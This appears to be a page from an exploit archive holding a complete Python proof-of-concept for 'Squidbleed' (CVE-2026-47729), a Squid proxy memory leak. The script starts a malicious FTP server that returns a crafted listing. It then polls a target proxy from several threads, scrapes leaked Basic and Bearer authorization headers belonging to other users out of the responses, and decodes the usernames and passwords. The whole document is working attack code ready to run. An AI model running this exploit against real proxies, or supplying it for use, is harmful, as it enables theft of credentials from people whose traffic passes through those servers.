5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-47729.py PY
#!/usr/bin/env python3
"""
CVE-2026-47729 (Squidbleed) PoC - Standalone Attacker

Author: Ashraf Zaryouh "0xBlackash"
GitHub: https://github.com/0xBlackash

Combines evil FTP server + continuous poller in one script.

Usage:
  python3 CVE-2026-47729.py --proxy 127.0.0.1:3128 --ftp-port 2222
"""

import argparse
import base64
import re
import signal
import socket
import threading
import time
import urllib.parse
from urllib.parse import urlparse

# ==================== EVIL FTP SERVER ====================
TRIGGER = b"drwxr-xr-x 1 u g 0 Jan 01 12:34\r\n"

def handle_ftp_client(c):
    try:
        c.sendall(b"220 NetWare evil server ready\r\n")
        dl = None
        while True:
            line = b""
            while not line.endswith(b"\n"):
                d = c.recv(1)
                if not d:
                    return
                line += d
            u = line.strip().upper()
            if u.startswith(b"USER"):
                c.sendall(b"331 password please\r\n")
            elif u.startswith(b"PASS"):
                c.sendall(b"230 logged in\r\n")
            elif u.startswith(b"SYST"):
                c.sendall(b"215 UNIX Type: L8\r\n")
            elif u.startswith(b"PWD"):
                c.sendall(b'257 "/"\r\n')
            elif u.startswith(b"TYPE"):
                c.sendall(b"200 ok\r\n")
            elif u.startswith(b"EPSV"):
                dl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                dl.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                dl.bind(('0.0.0.0', 0))
                dl.listen(1)
                p = dl.getsockname()[1]
                c.sendall(f"229 (|||{p}|)\r\n".encode())
            elif u.startswith(b"PASV"):
                c.sendall(b"500 PASV disabled, use EPSV\r\n")
            elif u.startswith((b"LIST", b"NLST")):
                if dl is None:
                    c.sendall(b"425 use EPSV first\r\n")
                    continue
                c.sendall(b"150 opening\r\n")
                dc, _ = dl.accept()
                dc.sendall(TRIGGER)
                dc.close()
                dl.close()
                dl = None
                time.sleep(0.05)
                c.sendall(b"226 transfer complete\r\n")
            elif u.startswith(b"QUIT"):
                c.sendall(b"221 bye\r\n")
                return
            else:
                c.sendall(b"500 unknown\r\n")
    except Exception:
        pass
    finally:
        c.close()

def start_ftp_server(port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('0.0.0.0', port))
    s.listen(8)
    print(f"[FTP] Evil server listening on 0.0.0.0:{port}")
    while True:
        cn, _ = s.accept()
        threading.Thread(target=handle_ftp_client, args=(cn,), daemon=True).start()

# ==================== POLLER / LEAK HARVESTER ====================
def main():
    ap = argparse.ArgumentParser(description="CVE-2026-47729 Squidbleed PoC - by 0xBlackash")
    ap.add_argument("--proxy", default="127.0.0.1:3128", help="Target Squid proxy host:port")
    ap.add_argument("--ftp-port", type=int, default=2222, help="Local evil FTP port")
    ap.add_argument("-t", "--threads", type=int, default=4, help="Polling threads")
    args = ap.parse_args()

    # Start FTP server in background
    threading.Thread(target=start_ftp_server, args=(args.ftp_port,), daemon=True).start()
    time.sleep(1)

    phost, pport = args.proxy.split(":")
    PROXY = (phost, int(pport))
    FTP_URL = f"ftp://anon:[email protected]:{args.ftp_port}/"

    netloc = urlparse(FTP_URL).netloc.split("@")[-1]
    attacker_req = (
        f"GET {FTP_URL} HTTP/1.1\r\n"
        f"Host: {netloc}\r\n"
        f"Connection: close\r\n\r\n"
    ).encode()

    RE_HREF = re.compile(rb'class="filename"><a href="([^"]*)"')
    RE_BASIC = re.compile(rb"Basic\s+([A-Za-z0-9+/=]{8,})")
    RE_BEARER = re.compile(rb"Bearer\s+([A-Za-z0-9\-._~+/]{8,}={0,2})")

    stop = threading.Event()
    seen = {"basic": set(), "bearer": set()}
    seen_lock = threading.Lock()
    cnt_lock = threading.Lock()
    polls = [0]
    hits = [0]
    t_start = time.time()
    print_lock = threading.Lock()

    def safe_print(s):
        with print_lock:
            print(s, flush=True)

    def fetch():
        s = socket.create_connection(PROXY, timeout=5)
        s.sendall(attacker_req)
        body = bytearray()
        while True:
            try:
                d = s.recv(8192)
            except (socket.timeout, OSError):
                break
            if not d:
                break
            body.extend(d)
        s.close()
        return bytes(body)

    def note(kind, value):
        key = value[:200]
        with seen_lock:
            if key in seen[kind]:
                return
            seen[kind].add(key)
        dt = time.time() - t_start
        disp = value[:200].decode("latin-1", errors="replace")
        safe_print(f"\n[{dt:7.2f}s] [{kind.upper()}] {disp}")
        if kind == "basic":
            try:
                decoded = base64.b64decode(value).decode(errors="replace")
                if ":" in decoded:
                    u, p = decoded.split(":", 1)
                    safe_print(f"              decoded = {u}:{p}")
            except Exception:
                pass

    def worker():
        while not stop.is_set():
            try:
                body = fetch()
            except Exception:
                continue
            with cnt_lock:
                polls[0] += 1
            m = RE_HREF.search(body)
            if not m:
                continue
            leaked = urllib.parse.unquote_to_bytes(m.group(1))
            hit = False
            for mm in RE_BASIC.finditer(leaked):
                note("basic", mm.group(1))
                hit = True
            for mm in RE_BEARER.finditer(leaked):
                note("bearer", mm.group(1))
                hit = True
            if hit:
                with cnt_lock:
                    hits[0] += 1

    def status():
        last = 0
        while not stop.is_set():
            if stop.wait(5.0):
                break
            with cnt_lock:
                p, h = polls[0], hits[0]
            dt = time.time() - t_start
            rate = (p - last) / 5.0
            last = p
            with seen_lock:
                nb, nr = len(seen["basic"]), len(seen["bearer"])
            safe_print(f"[status {dt:7.2f}s] polls={p} hits={h} rate={rate:.1f}/s  "
                       f"distinct: basic={nb} bearer={nr}")

    signal.signal(signal.SIGINT, lambda *_: stop.set())

    safe_print(f"[PoC] Squidbleed CVE-2026-47729 by Ashraf Zaryouh (0xBlackash)")
    safe_print(f"      threads={args.threads} proxy={args.proxy} ftp-port={args.ftp_port}")
    for _ in range(args.threads):
        threading.Thread(target=worker, daemon=True).start()
    threading.Thread(target=status, daemon=True).start()

    try:
        while not stop.is_set():
            time.sleep(0.5)
    except KeyboardInterrupt:
        stop.set()

if __name__ == "__main__":
    main()